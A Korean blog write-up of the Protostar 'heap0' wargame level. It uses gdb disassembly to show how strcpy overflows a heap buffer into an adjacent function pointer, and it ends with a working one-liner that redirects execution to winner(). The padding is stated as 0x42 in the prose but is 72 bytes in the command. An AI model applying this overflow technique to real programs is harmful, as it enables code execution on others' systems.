본문 바로가기

워게임/protostar

heap0

(gdb) disas main

Dump of assembler code for function main:

0x0804848c <main+0>:    push   ebp

0x0804848d <main+1>:    mov    ebp,esp

0x0804848f <main+3>:    and    esp,0xfffffff0

0x08048492 <main+6>:    sub    esp,0x20

 

0x08048495 <main+9>:    mov    DWORD PTR [esp],0x40 //인자가 40byte

0x0804849c <main+16>:   call   0x8048388 <malloc@plt>

0x080484a1 <main+21>:  mov    DWORD PTR [esp+0x18],eax // 0x804a008 data가 할당된 위치고, esp+0x18에 정의됨.

 

0x080484a5 <main+25>:  mov    DWORD PTR [esp],0x4

0x080484ac <main+32>:   call   0x8048388 <malloc@plt>

0x080484b1 <main+37>:  mov    DWORD PTR [esp+0x1c],eax          // 0x804a050 fp가 할당된 위치임. esp+0x1c에 정의.

 

 

0x080484b5 <main+41>:  mov    edx,0x8048478

0x080484ba <main+46>:  mov    eax,DWORD PTR [esp+0x1c]

0x080484be <main+50>:  mov    DWORD PTR [eax],edx

 

0x080484c0 <main+52>:   mov    eax,0x80485f7

0x080484c5 <main+57>:   mov    edx,DWORD PTR [esp+0x1c]

0x080484c9 <main+61>:   mov    DWORD PTR [esp+0x8],edx

 

0x080484cd <main+65>:  mov    edx,DWORD PTR [esp+0x18]

 

0x080484d1 <main+69>:  mov    DWORD PTR [esp+0x4],edx // fp

0x080484d5 <main+73>:  mov    DWORD PTR [esp],eax      // data

0x080484d8 <main+76>:  call   0x8048378 <printf@plt>      //영역 위치 출력

 

0x080484dd <main+81>:  mov    eax,DWORD PTR [ebp+0xc] //eax = 0xbffff804

0x080484e0 <main+84>:  add    eax,0x4                        //eax = 0xbffff808

0x080484e3 <main+87>:  mov    eax,DWORD PTR [eax]      //eax = 0xbffff946(&buffer)

0x080484e5 <main+89>:  mov    edx,eax                        //edx, eax = &buffer

0x080484e7 <main+91>:  mov    eax,DWORD PTR [esp+0x18]          //eax = &data,     edx = &buffer

0x080484eb <main+95>:  mov    DWORD PTR [esp+0x4],edx //eax = &data,     esp+0x4, edx = &buffer

0x080484ef <main+99>:   mov    DWORD PTR [esp],eax      //eax,esp = &data, esp+0x4, edx = &buffer

0x080484f2 <main+102>:  call   0x8048368 <strcpy@plt>

 

0x080484f7 <main+107>:  mov    eax,DWORD PTR [esp+0x1c]

0x080484fb <main+111>: mov    eax,DWORD PTR [eax]

0x080484fd <main+113>: call   eax

0x080484ff <main+115>:  leave 

0x08048500 <main+116>: ret 

 

암떼나 브포걸고 AAAAAAAAAAAAA넣은 후에 실행해봤습니다.

 

(gdb) c

Continuing.

data is at 0x804a008, fp is at 0x804a050

level has not been passed

 

이런식으로 뜨네용

 

(gdb) b*main+16

Breakpoint 2 at 0x804849c: file heap0/heap0.c, line 30.

(gdb) b*main+32

Breakpoint 3 at 0x80484ac: file heap0/heap0.c, line 31.

(gdb) b*main+76

Breakpoint 4 at 0x80484d8: file heap0/heap0.c, line 34.

(gdb) b*main+102

Breakpoint 5 at 0x80484f2: file heap0/heap0.c, line 36.

 

이렇게 걸고 흐름을 보죠

 

main+16은 첫번째 malloc입니다. 인자로 0x40을 전달했으니 malloc(40)이 되것네요 int형이려나요..

 

main+32 4바이트짜리 malloc입니다. 프로그램 흐름상 main+16 data고 이게 fp겠군요

 

main+76 data is at 어쩌고 하는 부분이겠군요..

 

main+102 [esp+4]에 있는 값을 [0x804a008]로 복사하는 strcpy를 수행합니다.

 

(gdb) x/2x $esp

0xbffff770:         0x0804a008       0xbffff97c

 

(gdb) ni

38        in heap0/heap0.c

(gdb) x/1s 0x804a008

0x804a008:        'A' <repeats 22 times>

 

복사해서 뭐 어따쓸까요?

 

우선 eax fp의 주소를 넣네요

 

뭐 주소는 안바뀌니까 위에 실행결과대로 0x804a050 eax에 박히겠군요

 

그리고 다시 [eax]값을 eax에 넣고 그걸 호출하네요

 

(gdb) x/10i $eax

0x8048478 <nowinner>:   push   ebp

0x8048479 <nowinner+1>:          mov    ebp,esp

0x804847b <nowinner+3>:          sub    esp,0x18

0x804847e <nowinner+6>:          mov    DWORD PTR [esp],0x80485dd

0x8048485 <nowinner+13>:         call   0x8048398 <puts@plt>

0x804848a <nowinner+18>:         leave 

0x804848b <nowinner+19>:         ret 

 

생각해보니 함수 리스트를 안봤네요; 함 봅시다

 

File heap0/heap0.c:

int main(int, char **);

void nowinner(void);

void winner(void);

 

이런 2개 더있었네요 ㅡ;;

 

(gdb) disas nowinner

Dump of assembler code for function nowinner:

0x08048478 <nowinner+0>:         push   ebp

0x08048479 <nowinner+1>:         mov    ebp,esp

0x0804847b <nowinner+3>:         sub    esp,0x18

0x0804847e <nowinner+6>:         mov    DWORD PTR [esp],0x80485dd

0x08048485 <nowinner+13>:       call   0x8048398 <puts@plt>

0x0804848a <nowinner+18>:       leave 

0x0804848b <nowinner+19>:       ret   

End of assembler dump.

(gdb) disas winner

Dump of assembler code for function winner:

0x08048464 <winner+0>: push   ebp

0x08048465 <winner+1>: mov    ebp,esp

0x08048467 <winner+3>: sub    esp,0x18

0x0804846a <winner+6>: mov    DWORD PTR [esp],0x80485d0

0x08048471 <winner+13>:           call   0x8048398 <puts@plt>

0x08048476 <winner+18>:           leave 

0x08048477 <winner+19>:           ret   

End of assembler dump.

(gdb)

 

보니까 winner 함수가 호출되야하나봐요

 

뭐 그럼 크게 신경쓸 것도 없이 [esp+0x1c]의 값을 0x8048464로 조작하면 되겠네요..

 

[esp+0x1c]는 어떻게 수정가능할까요?..

 

일단 복사되는 위치나 한번 다시 봅시다

 

0x080484dd <main+81>:  mov    eax,DWORD PTR [ebp+0xc]

0x080484e0 <main+84>:  add    eax,0x4

 

여기서 스택에 박혀있는 버퍼 값을 가리키기위해 ebp+0xc에 있는 값에서 4를 더한 값을 eax에 넣습니다.

 

0x080484e3 <main+87>:  mov    eax,DWORD PTR [eax]

0x080484e5 <main+89>:  mov    edx,eax

 

그 값이 가리키고 있는 주소를 eax에 넣습니다.

이 주소가 바로 버퍼의 주소라고 보시면 됩니다. edx에 복사를 해줍니다(strcpy src)

 

0x080484e7 <main+91>:  mov    eax,DWORD PTR [esp+0x18]

복사될 위치입니다. 저희가 공략해야하는 포인트는 여기입니다..

esp+0x18의 값을 eax에 복사해줍니다. esp+0x18은 할당된 공간의 포인터를 가지고 있습니다.

 

(gdb) x/x $esp+0x18

0xbffff748:         0x0804a008

 

0x080484eb <main+95>:  mov    DWORD PTR [esp+0x4],edx

0x080484ef <main+99>:   mov    DWORD PTR [esp],eax

0x080484f2 <main+102>:  call   0x8048368 <strcpy@plt>

 

그리고 인자로 집어넣은 다음 복사를 수행합니다..

 

여기서 그럼 esp+0x1c가 어딜까요?

 

(gdb) x/x $esp+0x1c

0xbffff74c:         0x0804a050

 

0x804a050을 가리키고있네요.. 아까 복사된 위치가 0x804a008이니 0x42만큼 더미 값을 넣고 4바이트만큼 원하는 주소를 넣으면

 

해당 주소를 call하겠네요!

 

winner의 주소가 0x8048464니까 거기로 call하도록 해봅시다.

 

user@protostar:/opt/protostar/bin$ ./heap0 `perl -e 'print "A"x72, "\x64\x84\x04\x08"'`

data is at 0x804a008, fp is at 0x804a050

level passed

'워게임 > protostar' 카테고리의 다른 글

heap2  (0) 2015.10.30
heap1  (0) 2015.10.30
stack6,7  (0) 2015.10.15
stack5  (0) 2015.10.15
stack4  (0) 2015.10.15